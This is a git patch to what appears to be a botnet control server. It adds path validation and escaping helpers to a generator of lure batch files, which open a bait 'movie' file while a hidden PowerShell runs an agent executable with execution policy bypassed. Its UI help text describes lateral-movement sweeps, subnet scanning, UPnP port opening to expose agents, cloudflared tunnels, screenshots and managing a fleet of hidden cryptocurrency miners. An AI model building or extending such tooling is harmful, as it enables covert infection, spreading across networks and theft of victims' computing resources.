From 92db39217f18da55508c254035226b8047d638d4 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sat, 6 Jun 2026 16:57:52 -0700 Subject: [PATCH] chore: sync post-pack UI help and pathforge tweaks --- server/internal/builder/pathforge.go | 112 +++++++++++++++++++++- server/web/src/help/uiHelp.test.ts | 10 ++ server/web/src/help/uiHelp.ts | 23 +++++ server/web/src/pages/BuildManagerPage.tsx | 7 +- 4 files changed, 145 insertions(+), 7 deletions(-) diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go index c2a7b18..189a463 100644 --- a/server/internal/builder/pathforge.go +++ b/server/internal/builder/pathforge.go @@ -228,6 +228,102 @@ func sanitizeStem(s string) string { return strings.TrimSpace(replacer.Replace(s)) } +// ─── BLD-D1: root_path allowlist validation ─────────────────────────────────── + +// validateRootPath ensures rootPath is safe to walk: +// - must not contain ".." segments (path traversal) +// - must resolve to a path under an operator-allowed prefix +func (h *PathForgeHandler) validateRootPath(rootPath string) (string, error) { + if containsDotDot(rootPath) { + return "", fmt.Errorf("must not contain '..' path traversal sequences") + } + abs, err := filepath.Abs(rootPath) + if err != nil { + return "", fmt.Errorf("invalid path: %w", err) + } + if !h.isAllowedRootPath(abs) { + return "", fmt.Errorf("path is outside allowed directories (must be under home, temp, or server data directory)") + } + return abs, nil +} + +// containsDotDot returns true if any segment of the slash/backslash-separated +// path equals "..". +func containsDotDot(p string) bool { + for _, seg := range strings.FieldsFunc(p, func(r rune) bool { return r == '/' || r == '\\' }) { + if seg == ".." { + return true + } + } + return false +} + +// isAllowedRootPath reports whether abs is equal to or under one of the +// safe prefix directories: the server dataDir, the user home directory, or +// the OS temp directory. +func (h *PathForgeHandler) isAllowedRootPath(abs string) bool { + var prefixes []string + if h.dataDir != "" { + if d, err := filepath.Abs(h.dataDir); err == nil { + prefixes = append(prefixes, d) + } + } + if home, err := os.UserHomeDir(); err == nil { + prefixes = append(prefixes, home) + } + prefixes = append(prefixes, os.TempDir()) + for _, prefix := range prefixes { + if isPathUnder(abs, prefix) { + return true + } + } + return false +} + +// isPathUnder reports whether path equals parent or is a subdirectory of it. +// Uses filepath.Rel to correctly handle cross-platform path semantics. +func isPathUnder(path, parent string) bool { + rel, err := filepath.Rel(parent, path) + if err != nil { + return false + } + return !strings.HasPrefix(rel, "..") +} + +// ─── BLD-D2: shell/bat escaping helpers ────────────────────────────────────── + +// escapeBat escapes a value for embedding inside a cmd.exe double-quoted string. +// % must become %% to prevent variable expansion; " terminates the string. +func escapeBat(s string) string { + s = strings.ReplaceAll(s, "%", "%%") + s = strings.ReplaceAll(s, `"`, `\"`) + return s +} + +// escapeBatPS escapes a value for embedding inside a PowerShell single-quoted +// string that is itself inside a cmd.exe double-quoted -Command argument. +func escapeBatPS(s string) string { + s = strings.ReplaceAll(s, "%", "%%") // cmd.exe percent expansion + s = strings.ReplaceAll(s, `"`, `\"`) // cmd.exe double-quote (string terminator) + s = strings.ReplaceAll(s, "'", "''") // PowerShell single-quote escape + return s +} + +// escapeShDouble escapes a value for embedding inside a bash double-quoted string. +func escapeShDouble(s string) string { + s = strings.ReplaceAll(s, `\`, `\\`) + s = strings.ReplaceAll(s, `"`, `\"`) + s = strings.ReplaceAll(s, `$`, `\$`) + s = strings.ReplaceAll(s, "`", "\\`") + return s +} + +// escapeShSingle escapes a value for embedding inside a bash single-quoted string. +// The only character that needs escaping is ' itself (end-quote, literal, re-open). +func escapeShSingle(s string) string { + return strings.ReplaceAll(s, "'", `'\''`) +} + // hintContent returns the body of the "click_bat_to_unlock_movie" hint file. // The filename itself is the instruction; the content gives a second nudge. func hintContent(stem string, macOnly bool) string { @@ -254,13 +350,21 @@ func hintContent(stem string, macOnly bool) string { // // When lockOriginal is false it simply opens realFile and runs the agent. func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string { + // Escape for cmd.exe double-quoted strings (bat context). + lfBat := escapeBat(lockedFile) + rfBat := escapeBat(realFile) + // Escape for PowerShell single-quoted strings inside the bat -Command "..." argument. + lfPS := escapeBatPS(lockedFile) + rfPS := escapeBatPS(realFile) + esPS := escapeBatPS(exeStem) + b := "@echo off\r\n" if lockOriginal { // Step 1: unlock - b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lockedFile, realFile) + b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lfBat, rfBat) } // Step 2: open the file - b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", realFile) + b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", rfBat) // Step 3+4: hidden PowerShell — wait, re-lock, run agent if lockOriginal { b += fmt.Sprintf( @@ -268,12 +372,12 @@ func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string " Start-Sleep 4;"+ " if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+ " Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", - realFile, realFile, lockedFile, exeStem) + rfPS, rfPS, lfPS, esPS) } else { b += fmt.Sprintf( "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+ "-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", - exeStem) + esPS) } return b } diff --git a/server/web/src/help/uiHelp.test.ts b/server/web/src/help/uiHelp.test.ts index 4e3645e..75268f8 100644 --- a/server/web/src/help/uiHelp.test.ts +++ b/server/web/src/help/uiHelp.test.ts @@ -79,6 +79,16 @@ describe('UI_HELP', () => { 'ew_public_urls', 'ew_techniques', 'ew_shared_notes', + 'crucible_btn_spread_now', + 'crucible_btn_subnet_scan', + 'crucible_btn_hole_punch', + 'crucible_btn_cf_tunnel', + 'fl_filter_chips', + 'fl_bulk_actions', + 'fl_groups', + 'set_alerts', + 'set_alert_notifications', + 'set_webhook', ] as const; it('defines help for every documented UI key', () => { diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts index 13ee6ad..8ddad36 100644 --- a/server/web/src/help/uiHelp.ts +++ b/server/web/src/help/uiHelp.ts @@ -160,4 +160,27 @@ export const UI_HELP: Record = { 'Index of spread vectors with links into the tabbed Spread Techniques playbook. Emberwake handles actions; the playbook has step-by-step how-to.', ew_shared_notes: 'Collaborative scratchpad synced to every logged-in operator. Use for lure copy, host paths, or rotation notes — not stored on agents.', + + crucible_btn_spread_now: + 'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.', + crucible_btn_subnet_scan: + 'Probes the local /24 for live hosts via ICMP and TCP knock and returns a host list. Feeds Spread Now and SSH probe. Can take 10–40 s on congested or slow subnets.', + crucible_btn_hole_punch: + 'Asks the LAN router to create a UPnP inbound port mapping (default 8989) so the agent is reachable from WAN without a VPN or port-forward rule. Requires a router with UPnP enabled.', + crucible_btn_cf_tunnel: + 'Launches a cloudflared outbound tunnel to the optional target URL (or the server default tunnel URL). Agent dials out — no inbound firewall rule or open port needed on the target machine.', + + fl_filter_chips: + 'Narrow the roster by name/IP/notes/tags (text search), tag label, subnet prefix, minimum 15m hashrate, or the "needs attention" flag (offline or idle miners below 100 H/s).', + fl_bulk_actions: + 'Actions applied to every checked agent at once: pause or resume mining, stop the miner thread, restart only idle workers, take a screenshot (one agent only), or permanently delete from roster.', + fl_groups: + 'Named color-coded subsets of the fleet stored in browser local storage. Click a chip to check-select all members — then apply bulk actions or send Crucible commands to the whole group at once.', + + set_alerts: + 'Dashboard thresholds that trigger amber or red status badges: how long before an agent is marked offline, how far hashrate must drop to flag a node, and at what rejection-rate share quality degrades.', + set_alert_notifications: + 'Push fleet events to Telegram, a custom webhook endpoint, or email (SMTP). Fill bot token + chat ID or webhook URL, choose which events to forward, save Calibration, then send a test message to confirm delivery.', + set_webhook: + 'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.', }; diff --git a/server/web/src/pages/BuildManagerPage.tsx b/server/web/src/pages/BuildManagerPage.tsx index 8200bc1..5c90bc6 100644 --- a/server/web/src/pages/BuildManagerPage.tsx +++ b/server/web/src/pages/BuildManagerPage.tsx @@ -397,8 +397,9 @@ export default function BuildManagerPage() { return (
-
-
+
+
+

WORKER BUILDS · DEPLOY & MANAGE

Build Manager

All forged workers — download, deploy, re-forge, or delete from any browser. @@ -412,7 +413,7 @@ export default function BuildManagerPage() { ⚒ New Forge

-
+ {error && (